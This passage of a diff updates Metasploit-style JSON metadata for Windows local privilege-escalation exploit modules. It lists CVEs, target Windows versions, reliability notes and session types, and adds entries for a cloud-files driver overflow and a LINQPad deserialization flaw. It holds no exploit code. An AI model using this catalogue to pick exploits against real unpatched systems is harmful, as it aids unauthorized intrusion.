"exploit_windows/local/cve_2021_21551_dbutil_memmove": { "name": "Dell DBUtil_2_3.sys IOCTL memmove", "fullname": "exploit/windows/local/cve_2021_21551_dbutil_memmove", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2021-05-04", "type": "exploit", @@ -179941,12 +184985,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179964,24 +185004,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2021_40449": { "name": "Win32k NtGdiResetDC Use After Free Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2021_40449", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2021-10-12", "type": "exploit", @@ -180005,12 +185039,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)" ], @@ -180028,17 +185058,13 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_21882_win32k": { "name": "Win32k ConsoleControl Offset Confusion", @@ -180077,12 +185103,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1803-21H2 x64" ], @@ -180100,24 +185122,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_21999_spoolfool_privesc": { "name": "CVE-2022-21999 SpoolFool Privesc", "fullname": "exploit/windows/local/cve_2022_21999_spoolfool_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-02-08", "type": "exploit", @@ -180133,12 +185149,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -180167,16 +185179,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_26904_superprofile": { "name": "User Profile Arbitrary Junction Creation Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2022_26904_superprofile", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-03-17", "type": "exploit", @@ -180194,12 +185202,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 11" ], @@ -180228,16 +185232,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2022_3699_lenovo_diagnostics_driver": { "name": "Lenovo Diagnostics Driver IOCTL memmove", "fullname": "exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-11-09", "type": "exploit", @@ -180253,12 +185253,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -180276,24 +185272,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2023_21768_afd_lpe": { "name": "Ancillary Function Driver (AFD) for WinSock Elevation of Privilege", "fullname": "exploit/windows/local/cve_2023_21768_afd_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-10", "type": "exploit", @@ -180312,12 +185302,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 11 22H2 x64" ], @@ -180335,24 +185321,18 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2023_28252_clfs_driver": { "name": "Windows Common Log File System Driver (clfs.sys) Elevation of Privilege Vulnerability", "fullname": "exploit/windows/local/cve_2023_28252_clfs_driver", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2023-04-11", "type": "exploit", @@ -180369,12 +185349,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -180392,24 +185368,68 @@ "Reliability": [ "unreliable-session" ], + "SideEffects": [] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] + }, + "exploit_windows/local/cve_2024_30085_cloud_files": { + "name": "Windows Cloud File Mini Filer Driver Heap Overflow", + "fullname": "exploit/windows/local/cve_2024_30085_cloud_files", + "aliases": [], + "rank": 600, + "disclosure_date": "2024-12-19", + "type": "exploit", + "author": [ + "Alex Birnberg", + "ssd-disclosure", + "bwatters-r7" + ], + "description": "This module exploits the Windows Cloud Files Mini FIlter Driver cldflt.sys on Windows workstation versions\n 10_1809 through 11_23H2 and Windows server versions 2022 to 22_23H2.", + "references": [ + "CVE-2024-30085", + "URL-https://attackerkb.com/topics/EHiwxpT2Dp/cve-2024-30085", + "URL-https://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe/", + "URL-https://starlabs.sg/blog/2024/all-i-want-for-christmas-is-a-cve-2024-30085-exploit/" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": [], + "autofilter_services": [], + "targets": [ + "Windows x64" + ], + "mod_time": "2025-01-10 16:14:32 +0000", + "path": "/modules/exploits/windows/local/cve_2024_30085_cloud_files.rb", + "is_install_path": true, + "ref_name": "windows/local/cve_2024_30085_cloud_files", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], "SideEffects": [ - + "ioc-in-logs" ] }, "session_types": [ - "meterpreter" + "meterpreter", + "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2024_30088_authz_basep": { "name": "Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes", "fullname": "exploit/windows/local/cve_2024_30088_authz_basep", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-11", "type": "exploit", @@ -180425,16 +185445,12 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2024-09-04 14:09:04 +0000", + "mod_time": "2025-03-13 13:14:13 +0000", "path": "/modules/exploits/windows/local/cve_2024_30088_authz_basep.rb", "is_install_path": true, "ref_name": "windows/local/cve_2024_30088_authz_basep", @@ -180456,16 +185472,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2024_35250_ks_driver": { "name": "Windows Access Mode Mismatch LPE in ks.sys", "fullname": "exploit/windows/local/cve_2024_35250_ks_driver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-11", "type": "exploit", @@ -180484,12 +185496,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -180515,16 +185523,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/dnsadmin_serverlevelplugindll": { "name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation", "fullname": "exploit/windows/local/dnsadmin_serverlevelplugindll", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-08", "type": "exploit", @@ -180541,12 +185545,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -180573,16 +185573,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/docker_credential_wincred": { "name": "Docker-Credential-Wincred.exe Privilege Escalation", "fullname": "exploit/windows/local/docker_credential_wincred", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-07-05", "type": "exploit", @@ -180598,12 +185594,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -180629,16 +185621,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc": { "name": "Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation", "fullname": "exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-25", "type": "exploit", @@ -180665,12 +185653,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -180696,16 +185680,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/gog_galaxyclientservice_privesc": { "name": "GOG GalaxyClientService Privilege Escalation", "fullname": "exploit/windows/local/gog_galaxyclientservice_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-28", "type": "exploit", @@ -180720,12 +185700,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows (Dropper)" ], @@ -180751,16 +185727,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ikeext_service": { "name": "IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL", "fullname": "exploit/windows/local/ikeext_service", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-10-09", "type": "exploit", @@ -180775,17 +185747,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ikeext_service.rb", "is_install_path": true, "ref_name": "windows/local/ikeext_service", @@ -180793,21 +185761,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ipass_launch_app": { "name": "iPass Mobile Client Service Privilege Escalation", "fullname": "exploit/windows/local/ipass_launch_app", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-12", "type": "exploit", @@ -180822,16 +185795,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ipass_launch_app.rb", "is_install_path": true, "ref_name": "windows/local/ipass_launch_app", @@ -180839,21 +185808,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/lenovo_systemupdate": { "name": "Lenovo System Update Privilege Escalation", "fullname": "exploit/windows/local/lenovo_systemupdate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-12", "type": "exploit", @@ -180871,16 +185845,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/lenovo_systemupdate.rb", "is_install_path": true, "ref_name": "windows/local/lenovo_systemupdate", @@ -180888,21 +185858,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/lexmark_driver_privesc": { "name": "Lexmark Driver Privilege Escalation", "fullname": "exploit/windows/local/lexmark_driver_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-07-15", "type": "exploit", @@ -180921,12 +185896,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -180952,16 +185923,61 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] + }, + "exploit_windows/local/linqpad_deserialization_persistence": { + "name": "LINQPad Deserialization Exploit", + "fullname": "exploit/windows/local/linqpad_deserialization_persistence", + "aliases": [], + "rank": 300, + "disclosure_date": "2024-12-03", + "type": "exploit", + "author": [ + "msutovsky-r7 ", + "James Williams" + ], + "description": "This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.", + "references": [ + "URL-https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad", + "CVE-2024-53326" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": [], + "autofilter_services": [], + "targets": [ + "Windows" + ], + "mod_time": "2025-05-06 08:43:57 +0000", + "path": "/modules/exploits/windows/local/linqpad_deserialization_persistence.rb", + "is_install_path": true, + "ref_name": "windows/local/linqpad_deserialization_persistence", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "exploit_windows/local/microfocus_operations_privesc": { "name": "Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation", "fullname": "exploit/windows/local/microfocus_operations_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-28", "type": "exploit", @@ -180980,12 +185996,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Micro Focus Operations Bridge Manager (Windows) <= 2020.05", "Micro Focus Operations Bridge Reporter (Windows) <= 10.40" @@ -181013,16 +186025,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/mov_ss": { "name": "Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/mov_ss", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-05-08", "type": "exploit", @@ -181043,16 +186051,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/mov_ss.rb", "is_install_path": true, "ref_name": "windows/local/mov_ss", @@ -181060,21 +186064,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/mqac_write": { "name": "MQAC.sys Arbitrary Write Privilege Escalation", "fullname": "exploit/windows/local/mqac_write", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-07-22", "type": "exploit", @@ -181091,16 +186100,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/mqac_write.rb", "is_install_path": true, "ref_name": "windows/local/mqac_write", @@ -181110,22 +186115,24 @@ "notes": { "Stability": [ "crash-os-restarts" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms10_015_kitrap0d": { "name": "Windows SYSTEM Escalation via KiTrap0D", "fullname": "exploit/windows/local/ms10_015_kitrap0d", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-01-19", "type": "exploit", @@ -181146,16 +186153,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2K SP4 - Windows 7 (x86)" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms10_015_kitrap0d.rb", "is_install_path": true, "ref_name": "windows/local/ms10_015_kitrap0d", @@ -181163,21 +186166,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms10_092_schelevator": { "name": "Windows Escalate Task Scheduler XML Privilege Escalation", "fullname": "exploit/windows/local/ms10_092_schelevator", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-09-13", "type": "exploit", @@ -181195,12 +186203,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Vista / 7 / 2008 (Dropper)", "Windows Vista / 7 / 2008 (Command)" @@ -181228,16 +186232,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms11_080_afdjoinleaf": { "name": "MS11-080 AfdJoinLeaf Privilege Escalation", "fullname": "exploit/windows/local/ms11_080_afdjoinleaf", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-11-30", "type": "exploit", @@ -181256,12 +186256,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP2 / SP3", @@ -181278,9 +186274,7 @@ "Stability": [ "crash-os-restarts" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -181290,16 +186284,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_005_hwnd_broadcast": { "name": "MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation", "fullname": "exploit/windows/local/ms13_005_hwnd_broadcast", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-27", "type": "exploit", @@ -181318,17 +186308,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb", "is_install_path": true, "ref_name": "windows/local/ms13_005_hwnd_broadcast", @@ -181336,21 +186322,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_053_schlamperei": { "name": "Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)", "fullname": "exploit/windows/local/ms13_053_schlamperei", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-12-01", "type": "exploit", @@ -181369,16 +186360,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms13_053_schlamperei.rb", "is_install_path": true, "ref_name": "windows/local/ms13_053_schlamperei", @@ -181386,21 +186373,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_081_track_popup_menu": { "name": "Windows TrackPopupMenuEx Win32k NULL Page", "fullname": "exploit/windows/local/ms13_081_track_popup_menu", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-10-08", "type": "exploit", @@ -181422,16 +186414,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/ms13_081_track_popup_menu.rb", "is_install_path": true, "ref_name": "windows/local/ms13_081_track_popup_menu", @@ -181441,22 +186429,24 @@ "notes": { "Stability": [ "crash-os-restarts" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_097_ie_registry_symlink": { "name": "MS13-097 Registry Symlink IE Sandbox Escape", "fullname": "exploit/windows/local/ms13_097_ie_registry_symlink", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-12-10", "type": "exploit", @@ -181474,16 +186464,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 - 11" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb", "is_install_path": true, "ref_name": "windows/local/ms13_097_ie_registry_symlink", @@ -181491,21 +186477,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms14_009_ie_dfsvc": { "name": "MS14-009 .NET Deployment Service IE Sandbox Escape", "fullname": "exploit/windows/local/ms14_009_ie_dfsvc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-02-11", "type": "exploit", @@ -181523,16 +186514,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 - 11" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb", "is_install_path": true, "ref_name": "windows/local/ms14_009_ie_dfsvc", @@ -181540,21 +186527,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms14_058_track_popup_menu": { "name": "Windows TrackPopupMenu Win32k NULL Pointer Dereference", "fullname": "exploit/windows/local/ms14_058_track_popup_menu", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-10-14", "type": "exploit", @@ -181575,17 +186567,13 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/ms14_058_track_popup_menu.rb", "is_install_path": true, "ref_name": "windows/local/ms14_058_track_popup_menu", @@ -181595,22 +186583,24 @@ "notes": { "Stability": [ "crash-os-restarts" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms14_070_tcpip_ioctl": { "name": "MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference", "fullname": "exploit/windows/local/ms14_070_tcpip_ioctl", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-11-11", "type": "exploit", @@ -181629,16 +186619,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Server 2003 SP2" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb", "is_install_path": true, "ref_name": "windows/local/ms14_070_tcpip_ioctl", @@ -181646,21 +186632,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms15_004_tswbproxy": { "name": "MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape", "fullname": "exploit/windows/local/ms15_004_tswbproxy", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2015-01-13", "type": "exploit", @@ -181678,16 +186669,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Protected Mode (Windows 7) / 32 bits" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms15_004_tswbproxy.rb", "is_install_path": true, "ref_name": "windows/local/ms15_004_tswbproxy", @@ -181695,21 +186682,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms15_051_client_copy_image": { "name": "Windows ClientCopyImage Win32k Exploit", "fullname": "exploit/windows/local/ms15_051_client_copy_image", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-05-12", "type": "exploit", @@ -181730,17 +186722,13 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/ms15_051_client_copy_image.rb", "is_install_path": true, "ref_name": "windows/local/ms15_051_client_copy_image", @@ -181750,22 +186738,24 @@ "notes": { 